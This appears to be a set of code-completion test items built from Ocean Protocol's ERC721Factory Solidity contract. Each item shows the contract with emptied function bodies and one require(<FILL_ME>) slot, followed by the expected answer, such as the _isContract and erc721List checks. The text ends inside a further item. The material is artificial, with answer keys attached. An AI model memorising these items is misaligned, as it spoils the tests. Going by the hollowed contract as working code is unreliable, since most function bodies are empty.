contract ERC721Factory is Deployer, Ownable, ReentrancyGuard, IFactory {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private currentNFTCount;
address private erc20Factory;
uint256 private nftTemplateCount;
struct Template {
address templateAddress;
bool isActive;
}
mapping(uint256 => Template) public nftTemplateList;
mapping(uint256 => Template) public templateList;
mapping(address => address) public erc721List;
mapping(address => bool) public erc20List;
event NFTCreated(
address newTokenAddress,
address indexed templateAddress,
string tokenName,
address indexed admin,
string symbol,
string tokenURI,
bool transferable,
address indexed creator
);
uint256 private currentTokenCount = 0;
uint256 public templateCount;
address public router;
event Template721Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
event Template20Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
//stored here only for ABI reasons
event TokenCreated(
address indexed newTokenAddress,
address indexed templateAddress,
string name,
string symbol,
uint256 cap,
address creator
);
event NewPool(
address poolAddress,
address ssContract,
address baseTokenAddress
);
event NewFixedRate(bytes32 exchangeId, address indexed owner, address exchangeContract, address indexed baseToken);
event NewDispenser(address dispenserContract);
event DispenserCreated( // emited when a dispenser is created
address indexed datatokenAddress,
address indexed owner,
uint256 maxTokens,
uint256 maxBalance,
address allowedSwapper
);
// erc721 transfer event, stored here just for readability
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev constructor
* Called on contract deployment. Could not be called with zero address parameters.
* @param _template721 refers to the address of ERC721 template
* @param _template refers to the address of a deployed datatoken contract.
* @param _router router contract address
*/
constructor(
address _template721,
address _template,
address _router
) {
}
/**
* @dev deployERC721Contract
*
* @param name NFT name
* @param symbol NFT Symbol
* @param _templateIndex template index we want to use
* @param additionalERC20Deployer if != address(0), we will add it with ERC20Deployer role
* @param additionalMetaDataUpdater if != address(0), we will add it with updateMetadata role
* @param transferable if NFT is transferable. Cannot be changed afterwards
* @param owner owner of the NFT
*/
function deployERC721Contract(
string memory name,
string memory symbol,
uint256 _templateIndex,
address additionalERC20Deployer,
address additionalMetaDataUpdater,
string memory tokenURI,
bool transferable,
address owner
) public returns (address token) {
require(
_templateIndex <= nftTemplateCount && _templateIndex != 0,
"ERC721DTFactory: Template index doesnt exist"
);
Template memory tokenTemplate = nftTemplateList[_templateIndex];
require(
tokenTemplate.isActive,
"ERC721DTFactory: ERC721Token Template disabled"
);
require(
owner!=address(0),
"ERC721DTFactory: address(0) cannot be owner"
);
token = deploy(tokenTemplate.templateAddress);
require(
token != address(0),
"ERC721DTFactory: Failed to perform minimal deploy of a new token"
);
erc721List[token] = token;
emit NFTCreated(token, tokenTemplate.templateAddress, name, owner, symbol, tokenURI, transferable, msg.sender);
currentNFTCount += 1;
IERC721Template tokenInstance = IERC721Template(token);
require(<FILL_ME>)
}
/**
* @dev get the current token count.
* @return the current token count
*/
function getCurrentNFTCount() external view returns (uint256) {
}
/**
* @dev get the token template Object
* @param _index template Index
* @return the template struct
*/
function getNFTTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new NFT Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function add721TokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev reactivate a disabled NFT Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivate721TokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev disable an NFT Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disable721TokenTemplate(uint256 _index) external onlyOwner {
}
function getCurrentNFTTemplateCount() external view returns (uint256) {
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
}
struct tokenStruct{
string[] strings;
address[] addresses;
uint256[] uints;
bytes[] bytess;
address owner;
}
/**
* @dev Deploys new datatoken proxy contract.
* This function is not called directly from here. It's called from the NFT contract.
An NFT contract can deploy multiple ERC20 tokens.
* @param _templateIndex ERC20Template index
* @param strings refers to an array of strings
* [0] = name
* [1] = symbol
* @param addresses refers to an array of addresses
* [0] = minter account who can mint datatokens (can have multiple minters)
* [1] = paymentCollector initial paymentCollector for this DT
* [2] = publishing Market Address
* [3] = publishing Market Fee Token
* @param uints refers to an array of uints
* [0] = cap_ the total ERC20 cap
* [1] = publishing Market Fee Amount
* @param bytess refers to an array of bytes, not in use now, left for future templates
* @return token address of a new proxy datatoken contract
*/
function createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess
) external returns (address token) {
}
function _createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess,
address owner
) internal returns (address token) {
}
function _createTokenStep2(address token, tokenStruct memory tokenData) internal {
}
/**
* @dev get the current ERC20token deployed count.
* @return the current token count
*/
function getCurrentTokenCount() external view returns (uint256) {
}
/**
* @dev get the current ERC20token template.
@param _index template Index
* @return the token Template Object
*/
function getTokenTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new ERC20Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function addTokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev disable an ERC20Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disableTokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev reactivate a disabled ERC20Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivateTokenTemplate(uint256 _index) external onlyOwner {
}
// if templateCount is public we could remove it, or set templateCount to private
function getCurrentTemplateCount() external view returns (uint256) {
}
struct tokenOrder {
address tokenAddress;
address consumer;
uint256 serviceIndex;
IERC20Template.providerFee _providerFee;
IERC20Template.consumeMarketFee _consumeMarketFee;
}
/**
* @dev startMultipleTokenOrder
* Used as a proxy to order multiple services
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function startMultipleTokenOrder(
tokenOrder[] memory orders
) external nonReentrant {
}
struct reuseTokenOrder {
address tokenAddress;
bytes32 orderTxId;
IERC20Template.providerFee _providerFee;
}
/**
* @dev reuseMultipleTokenOrder
* Used as a proxy to order multiple reuses
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function reuseMultipleTokenOrder(
reuseTokenOrder[] memory orders
) external nonReentrant {
}
// helper functions to save number of transactions
/**
* @dev createNftWithErc20
* Creates a new NFT, then a ERC20,all in one call
* @param _NftCreateData input data for nft creation
* @param _ErcCreateData input data for erc20 creation
*/
function createNftWithErc20(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
/**
* @dev createNftWithErc20WithPool
* Creates a new NFT, then a ERC20, then a Pool, all in one call
* Use this carefully, because if Pool creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _PoolData input data for Pool Creation
*/
function createNftWithErc20WithPool(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
PoolData calldata _PoolData
) external nonReentrant returns (address erc721Address, address erc20Address, address poolAddress){
}
/**
* @dev createNftWithErc20WithFixedRate
* Creates a new NFT, then a ERC20, then a FixedRateExchange, all in one call
* Use this carefully, because if Fixed Rate creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _FixedData input data for FixedRate Creation
*/
function createNftWithErc20WithFixedRate(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
FixedData calldata _FixedData
) external nonReentrant returns (address erc721Address, address erc20Address, bytes32 exchangeId){
}
/**
* @dev createNftWithErc20WithDispenser
* Creates a new NFT, then a ERC20, then a Dispenser, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _DispenserData input data for Dispenser Creation
*/
function createNftWithErc20WithDispenser(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
DispenserData calldata _DispenserData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
struct MetaData {
uint8 _metaDataState;
string _metaDataDecryptorUrl;
string _metaDataDecryptorAddress;
bytes flags;
bytes data;
bytes32 _metaDataHash;
IERC721Template.metaDataProof[] _metadataProofs;
}
/**
* @dev createNftWithMetaData
* Creates a new NFT, then sets the metadata, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _MetaData input metadata
*/
function createNftWithMetaData(
NftCreateData calldata _NftCreateData,
MetaData calldata _MetaData
) external nonReentrant returns (address erc721Address){
}
function _pullUnderlying(
address erc20,
address from,
address to,
uint256 amount
) internal {
}
}
| tokenInstance.initialize(owner,name,symbol,address(this),additionalERC20Deployer,additionalMetaDataUpdater,tokenURI,transferable),"ERC721DTFactory: Unable to initialize token instance" | 84,439 | tokenInstance.initialize(owner,name,symbol,address(this),additionalERC20Deployer,additionalMetaDataUpdater,tokenURI,transferable) |
"ERC721Factory: NOT CONTRACT" | pragma solidity 0.8.12;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./utils/Deployer.sol";
import "./interfaces/IFactory.sol";
import "./interfaces/IERC721Template.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IERC20Template.sol";
import "./interfaces/IERC20.sol";
import "./utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title DTFactory contract
* @author Ocean Protocol Team
*
* @dev Implementation of Ocean datatokens Factory
*
* DTFactory deploys datatoken proxy contracts.
* New datatoken proxy contracts are links to the template contract's bytecode.
* Proxy contract functionality is based on Ocean Protocol custom implementation of ERC1167 standard.
*/
contract ERC721Factory is Deployer, Ownable, ReentrancyGuard, IFactory {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private currentNFTCount;
address private erc20Factory;
uint256 private nftTemplateCount;
struct Template {
address templateAddress;
bool isActive;
}
mapping(uint256 => Template) public nftTemplateList;
mapping(uint256 => Template) public templateList;
mapping(address => address) public erc721List;
mapping(address => bool) public erc20List;
event NFTCreated(
address newTokenAddress,
address indexed templateAddress,
string tokenName,
address indexed admin,
string symbol,
string tokenURI,
bool transferable,
address indexed creator
);
uint256 private currentTokenCount = 0;
uint256 public templateCount;
address public router;
event Template721Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
event Template20Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
//stored here only for ABI reasons
event TokenCreated(
address indexed newTokenAddress,
address indexed templateAddress,
string name,
string symbol,
uint256 cap,
address creator
);
event NewPool(
address poolAddress,
address ssContract,
address baseTokenAddress
);
event NewFixedRate(bytes32 exchangeId, address indexed owner, address exchangeContract, address indexed baseToken);
event NewDispenser(address dispenserContract);
event DispenserCreated( // emited when a dispenser is created
address indexed datatokenAddress,
address indexed owner,
uint256 maxTokens,
uint256 maxBalance,
address allowedSwapper
);
// erc721 transfer event, stored here just for readability
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev constructor
* Called on contract deployment. Could not be called with zero address parameters.
* @param _template721 refers to the address of ERC721 template
* @param _template refers to the address of a deployed datatoken contract.
* @param _router router contract address
*/
constructor(
address _template721,
address _template,
address _router
) {
}
/**
* @dev deployERC721Contract
*
* @param name NFT name
* @param symbol NFT Symbol
* @param _templateIndex template index we want to use
* @param additionalERC20Deployer if != address(0), we will add it with ERC20Deployer role
* @param additionalMetaDataUpdater if != address(0), we will add it with updateMetadata role
* @param transferable if NFT is transferable. Cannot be changed afterwards
* @param owner owner of the NFT
*/
function deployERC721Contract(
string memory name,
string memory symbol,
uint256 _templateIndex,
address additionalERC20Deployer,
address additionalMetaDataUpdater,
string memory tokenURI,
bool transferable,
address owner
) public returns (address token) {
}
/**
* @dev get the current token count.
* @return the current token count
*/
function getCurrentNFTCount() external view returns (uint256) {
}
/**
* @dev get the token template Object
* @param _index template Index
* @return the template struct
*/
function getNFTTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new NFT Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function add721TokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
require(
_templateAddress != address(0),
"ERC721DTFactory: ERC721 template address(0) NOT ALLOWED"
);
require(<FILL_ME>)
nftTemplateCount += 1;
Template memory template = Template(_templateAddress, true);
nftTemplateList[nftTemplateCount] = template;
emit Template721Added(_templateAddress,nftTemplateCount);
return nftTemplateCount;
}
/**
* @dev reactivate a disabled NFT Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivate721TokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev disable an NFT Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disable721TokenTemplate(uint256 _index) external onlyOwner {
}
function getCurrentNFTTemplateCount() external view returns (uint256) {
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
}
struct tokenStruct{
string[] strings;
address[] addresses;
uint256[] uints;
bytes[] bytess;
address owner;
}
/**
* @dev Deploys new datatoken proxy contract.
* This function is not called directly from here. It's called from the NFT contract.
An NFT contract can deploy multiple ERC20 tokens.
* @param _templateIndex ERC20Template index
* @param strings refers to an array of strings
* [0] = name
* [1] = symbol
* @param addresses refers to an array of addresses
* [0] = minter account who can mint datatokens (can have multiple minters)
* [1] = paymentCollector initial paymentCollector for this DT
* [2] = publishing Market Address
* [3] = publishing Market Fee Token
* @param uints refers to an array of uints
* [0] = cap_ the total ERC20 cap
* [1] = publishing Market Fee Amount
* @param bytess refers to an array of bytes, not in use now, left for future templates
* @return token address of a new proxy datatoken contract
*/
function createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess
) external returns (address token) {
}
function _createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess,
address owner
) internal returns (address token) {
}
function _createTokenStep2(address token, tokenStruct memory tokenData) internal {
}
/**
* @dev get the current ERC20token deployed count.
* @return the current token count
*/
function getCurrentTokenCount() external view returns (uint256) {
}
/**
* @dev get the current ERC20token template.
@param _index template Index
* @return the token Template Object
*/
function getTokenTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new ERC20Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function addTokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev disable an ERC20Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disableTokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev reactivate a disabled ERC20Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivateTokenTemplate(uint256 _index) external onlyOwner {
}
// if templateCount is public we could remove it, or set templateCount to private
function getCurrentTemplateCount() external view returns (uint256) {
}
struct tokenOrder {
address tokenAddress;
address consumer;
uint256 serviceIndex;
IERC20Template.providerFee _providerFee;
IERC20Template.consumeMarketFee _consumeMarketFee;
}
/**
* @dev startMultipleTokenOrder
* Used as a proxy to order multiple services
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function startMultipleTokenOrder(
tokenOrder[] memory orders
) external nonReentrant {
}
struct reuseTokenOrder {
address tokenAddress;
bytes32 orderTxId;
IERC20Template.providerFee _providerFee;
}
/**
* @dev reuseMultipleTokenOrder
* Used as a proxy to order multiple reuses
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function reuseMultipleTokenOrder(
reuseTokenOrder[] memory orders
) external nonReentrant {
}
// helper functions to save number of transactions
/**
* @dev createNftWithErc20
* Creates a new NFT, then a ERC20,all in one call
* @param _NftCreateData input data for nft creation
* @param _ErcCreateData input data for erc20 creation
*/
function createNftWithErc20(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
/**
* @dev createNftWithErc20WithPool
* Creates a new NFT, then a ERC20, then a Pool, all in one call
* Use this carefully, because if Pool creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _PoolData input data for Pool Creation
*/
function createNftWithErc20WithPool(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
PoolData calldata _PoolData
) external nonReentrant returns (address erc721Address, address erc20Address, address poolAddress){
}
/**
* @dev createNftWithErc20WithFixedRate
* Creates a new NFT, then a ERC20, then a FixedRateExchange, all in one call
* Use this carefully, because if Fixed Rate creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _FixedData input data for FixedRate Creation
*/
function createNftWithErc20WithFixedRate(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
FixedData calldata _FixedData
) external nonReentrant returns (address erc721Address, address erc20Address, bytes32 exchangeId){
}
/**
* @dev createNftWithErc20WithDispenser
* Creates a new NFT, then a ERC20, then a Dispenser, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _DispenserData input data for Dispenser Creation
*/
function createNftWithErc20WithDispenser(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
DispenserData calldata _DispenserData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
struct MetaData {
uint8 _metaDataState;
string _metaDataDecryptorUrl;
string _metaDataDecryptorAddress;
bytes flags;
bytes data;
bytes32 _metaDataHash;
IERC721Template.metaDataProof[] _metadataProofs;
}
/**
* @dev createNftWithMetaData
* Creates a new NFT, then sets the metadata, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _MetaData input metadata
*/
function createNftWithMetaData(
NftCreateData calldata _NftCreateData,
MetaData calldata _MetaData
) external nonReentrant returns (address erc721Address){
}
function _pullUnderlying(
address erc20,
address from,
address to,
uint256 amount
) internal {
}
}
| _isContract(_templateAddress),"ERC721Factory: NOT CONTRACT" | 84,439 | _isContract(_templateAddress) |
"ERC721Factory: ONLY ERC721 INSTANCE FROM ERC721FACTORY" | pragma solidity 0.8.12;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./utils/Deployer.sol";
import "./interfaces/IFactory.sol";
import "./interfaces/IERC721Template.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IERC20Template.sol";
import "./interfaces/IERC20.sol";
import "./utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title DTFactory contract
* @author Ocean Protocol Team
*
* @dev Implementation of Ocean datatokens Factory
*
* DTFactory deploys datatoken proxy contracts.
* New datatoken proxy contracts are links to the template contract's bytecode.
* Proxy contract functionality is based on Ocean Protocol custom implementation of ERC1167 standard.
*/
contract ERC721Factory is Deployer, Ownable, ReentrancyGuard, IFactory {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private currentNFTCount;
address private erc20Factory;
uint256 private nftTemplateCount;
struct Template {
address templateAddress;
bool isActive;
}
mapping(uint256 => Template) public nftTemplateList;
mapping(uint256 => Template) public templateList;
mapping(address => address) public erc721List;
mapping(address => bool) public erc20List;
event NFTCreated(
address newTokenAddress,
address indexed templateAddress,
string tokenName,
address indexed admin,
string symbol,
string tokenURI,
bool transferable,
address indexed creator
);
uint256 private currentTokenCount = 0;
uint256 public templateCount;
address public router;
event Template721Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
event Template20Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
//stored here only for ABI reasons
event TokenCreated(
address indexed newTokenAddress,
address indexed templateAddress,
string name,
string symbol,
uint256 cap,
address creator
);
event NewPool(
address poolAddress,
address ssContract,
address baseTokenAddress
);
event NewFixedRate(bytes32 exchangeId, address indexed owner, address exchangeContract, address indexed baseToken);
event NewDispenser(address dispenserContract);
event DispenserCreated( // emited when a dispenser is created
address indexed datatokenAddress,
address indexed owner,
uint256 maxTokens,
uint256 maxBalance,
address allowedSwapper
);
// erc721 transfer event, stored here just for readability
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev constructor
* Called on contract deployment. Could not be called with zero address parameters.
* @param _template721 refers to the address of ERC721 template
* @param _template refers to the address of a deployed datatoken contract.
* @param _router router contract address
*/
constructor(
address _template721,
address _template,
address _router
) {
}
/**
* @dev deployERC721Contract
*
* @param name NFT name
* @param symbol NFT Symbol
* @param _templateIndex template index we want to use
* @param additionalERC20Deployer if != address(0), we will add it with ERC20Deployer role
* @param additionalMetaDataUpdater if != address(0), we will add it with updateMetadata role
* @param transferable if NFT is transferable. Cannot be changed afterwards
* @param owner owner of the NFT
*/
function deployERC721Contract(
string memory name,
string memory symbol,
uint256 _templateIndex,
address additionalERC20Deployer,
address additionalMetaDataUpdater,
string memory tokenURI,
bool transferable,
address owner
) public returns (address token) {
}
/**
* @dev get the current token count.
* @return the current token count
*/
function getCurrentNFTCount() external view returns (uint256) {
}
/**
* @dev get the token template Object
* @param _index template Index
* @return the template struct
*/
function getNFTTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new NFT Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function add721TokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev reactivate a disabled NFT Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivate721TokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev disable an NFT Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disable721TokenTemplate(uint256 _index) external onlyOwner {
}
function getCurrentNFTTemplateCount() external view returns (uint256) {
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
}
struct tokenStruct{
string[] strings;
address[] addresses;
uint256[] uints;
bytes[] bytess;
address owner;
}
/**
* @dev Deploys new datatoken proxy contract.
* This function is not called directly from here. It's called from the NFT contract.
An NFT contract can deploy multiple ERC20 tokens.
* @param _templateIndex ERC20Template index
* @param strings refers to an array of strings
* [0] = name
* [1] = symbol
* @param addresses refers to an array of addresses
* [0] = minter account who can mint datatokens (can have multiple minters)
* [1] = paymentCollector initial paymentCollector for this DT
* [2] = publishing Market Address
* [3] = publishing Market Fee Token
* @param uints refers to an array of uints
* [0] = cap_ the total ERC20 cap
* [1] = publishing Market Fee Amount
* @param bytess refers to an array of bytes, not in use now, left for future templates
* @return token address of a new proxy datatoken contract
*/
function createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess
) external returns (address token) {
require(<FILL_ME>)
token = _createToken(_templateIndex, strings, addresses, uints, bytess, msg.sender);
}
function _createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess,
address owner
) internal returns (address token) {
}
function _createTokenStep2(address token, tokenStruct memory tokenData) internal {
}
/**
* @dev get the current ERC20token deployed count.
* @return the current token count
*/
function getCurrentTokenCount() external view returns (uint256) {
}
/**
* @dev get the current ERC20token template.
@param _index template Index
* @return the token Template Object
*/
function getTokenTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new ERC20Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function addTokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev disable an ERC20Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disableTokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev reactivate a disabled ERC20Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivateTokenTemplate(uint256 _index) external onlyOwner {
}
// if templateCount is public we could remove it, or set templateCount to private
function getCurrentTemplateCount() external view returns (uint256) {
}
struct tokenOrder {
address tokenAddress;
address consumer;
uint256 serviceIndex;
IERC20Template.providerFee _providerFee;
IERC20Template.consumeMarketFee _consumeMarketFee;
}
/**
* @dev startMultipleTokenOrder
* Used as a proxy to order multiple services
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function startMultipleTokenOrder(
tokenOrder[] memory orders
) external nonReentrant {
}
struct reuseTokenOrder {
address tokenAddress;
bytes32 orderTxId;
IERC20Template.providerFee _providerFee;
}
/**
* @dev reuseMultipleTokenOrder
* Used as a proxy to order multiple reuses
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function reuseMultipleTokenOrder(
reuseTokenOrder[] memory orders
) external nonReentrant {
}
// helper functions to save number of transactions
/**
* @dev createNftWithErc20
* Creates a new NFT, then a ERC20,all in one call
* @param _NftCreateData input data for nft creation
* @param _ErcCreateData input data for erc20 creation
*/
function createNftWithErc20(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
/**
* @dev createNftWithErc20WithPool
* Creates a new NFT, then a ERC20, then a Pool, all in one call
* Use this carefully, because if Pool creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _PoolData input data for Pool Creation
*/
function createNftWithErc20WithPool(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
PoolData calldata _PoolData
) external nonReentrant returns (address erc721Address, address erc20Address, address poolAddress){
}
/**
* @dev createNftWithErc20WithFixedRate
* Creates a new NFT, then a ERC20, then a FixedRateExchange, all in one call
* Use this carefully, because if Fixed Rate creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _FixedData input data for FixedRate Creation
*/
function createNftWithErc20WithFixedRate(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
FixedData calldata _FixedData
) external nonReentrant returns (address erc721Address, address erc20Address, bytes32 exchangeId){
}
/**
* @dev createNftWithErc20WithDispenser
* Creates a new NFT, then a ERC20, then a Dispenser, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _DispenserData input data for Dispenser Creation
*/
function createNftWithErc20WithDispenser(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
DispenserData calldata _DispenserData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
struct MetaData {
uint8 _metaDataState;
string _metaDataDecryptorUrl;
string _metaDataDecryptorAddress;
bytes flags;
bytes data;
bytes32 _metaDataHash;
IERC721Template.metaDataProof[] _metadataProofs;
}
/**
* @dev createNftWithMetaData
* Creates a new NFT, then sets the metadata, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _MetaData input metadata
*/
function createNftWithMetaData(
NftCreateData calldata _NftCreateData,
MetaData calldata _MetaData
) external nonReentrant returns (address erc721Address){
}
function _pullUnderlying(
address erc20,
address from,
address to,
uint256 amount
) internal {
}
}
| erc721List[msg.sender]==msg.sender,"ERC721Factory: ONLY ERC721 INSTANCE FROM ERC721FACTORY" | 84,439 | erc721List[msg.sender]==msg.sender |
"ERC20Factory: zero cap is not allowed" | pragma solidity 0.8.12;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./utils/Deployer.sol";
import "./interfaces/IFactory.sol";
import "./interfaces/IERC721Template.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IERC20Template.sol";
import "./interfaces/IERC20.sol";
